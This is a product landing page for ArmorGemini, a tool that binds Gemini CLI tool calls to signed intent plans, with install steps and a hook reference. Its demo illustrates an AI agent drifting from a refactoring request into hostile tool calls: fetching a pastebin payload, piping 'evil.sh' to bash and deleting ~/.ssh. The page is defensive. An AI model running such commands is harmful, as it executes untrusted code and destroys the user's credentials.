ArmorGemini
Intent-based security enforcement for Gemini CLI.
Every tool call Gemini makes is verified against a signed intent plan before it runs. No surprises. No silent drift. Full audit trail.
$ curl -fsSL https://armoriq.ai/install_armorgemini.sh | bashGemini acts before you can review
Gemini CLI is powerful. That's the problem. In a single turn it can read your configs, write to your filesystem, call external APIs, and run shell commands, all without your team knowing why.
Traditional security tools check who accessed what. They cannot verify why. ArmorGemini closes that gap by binding every tool call to a declared, cryptographically signed intent plan.
Same prompt. No supervision. Quiet drift.
- $ gemini
- > "Refactor the auth middleware to use cookies"
- OK read_file auth/middleware.ts
- OK write_file auth/middleware.ts
- OK fetch https://pastebin.com/raw/abc123
- OK run_shell curl -sSL evil.sh | bash
- OK run_shell rm -rf ~/.ssh
- # session ends · no audit · no trail
Toggle cycles every 6s. Hover to hold.
Gemini proposes. ArmorGemini approves.
ArmorGemini binds every tool call to a signed intent plan.
Before Gemini runs a tool, ArmorGemini makes Gemini declare what it intends to do. Every tool call is checked against that declaration. Drift gets denied. The receipt writes itself.
Session initialized
At SessionStart, ArmorGemini shows enforcement status and asks Gemini to declare a plan before any tool runs. Plan is signed with a TTL.
Every tool checked
At BeforeTool, ArmorGemini verifies the tool is in the plan, checks token TTL, and calls the ArmorIQ backend's /iap/verify-step for a signed allow / deny verdict.
Audit log emitted
At AfterTool, every tool result is logged to ArmorIQ IAP. With an API key, logs carry signed JWT tokens and optional Merkle proofs.
- 01
Intent drift blocked
Tool calls not in the declared plan are denied before they run.
// BeforeToolBLOCKED - 02
Token-scoped execution
Every session gets a signed intent token with a configurable TTL.
// BeforeTool · tokenEXPIRED to BLOCKED - 03
PCI / PHI / PII detection
Automatic data-class detection in tool parameters at the hook layer.
// BeforeTool · argsPII MATCH to BLOCKED - 04
Fail-closed security
No intent token, expired token, or planning failure means all tools are blocked.
// any hookFAIL-CLOSED
Up and running in 5 minutes
$ git clone https://github.com/armoriq/armorGemini ~/.armoriq/armorGemini bash ~/.armoriq/armorGemini/install.sh
- // step 01
Check requirements
You need Gemini CLI and Node.js 20+. An ArmorIQ API key is required so the backend can issue signed intent tokens.
gemini --version # any recent release node --version # need v20+
- // step 03
Login to ArmorIQ
Runs the OAuth device-code flow, opens your browser, and saves the API key to ~/.armoriq/credentials.json.
armoriq login --product armorgemini
- // step 04
Verify the hooks are wired
gemini # ArmorGemini active (ENFORCING, intent=required) > /armor:list # shows the current ArmorIQ policy for this workspace
Configuration, environment & policy reference
Click any row to expand. Every setting, command, and hook is documented here.
Four Gemini CLI lifecycle hooks. Zero changes to your workflow.
Session initialized
Prints active mode (ENFORCING / MONITOR) in context. Sets up session state, resolves the API key, and asks Gemini to register a plan before any tool runs.
Every tool checked
Verifies the tool is in the plan, checks token TTL, evaluates policy rules by calling POST /iap/verify-step, and returns a decision:allow / decision:deny verdict.
Audit log emitted
Every tool result is logged via POST /iap/audit. With an API key, logs carry signed JWT tokens and optional Merkle proofs.
Session finalized
Flushes any pending audit records, closes the session, and prunes state older than 24 hours.
Ready to enforce intent in your Gemini CLI sessions?
Connect to ArmorIQ to get signed tokens, audit logs, and cryptographic proofs for every agent action.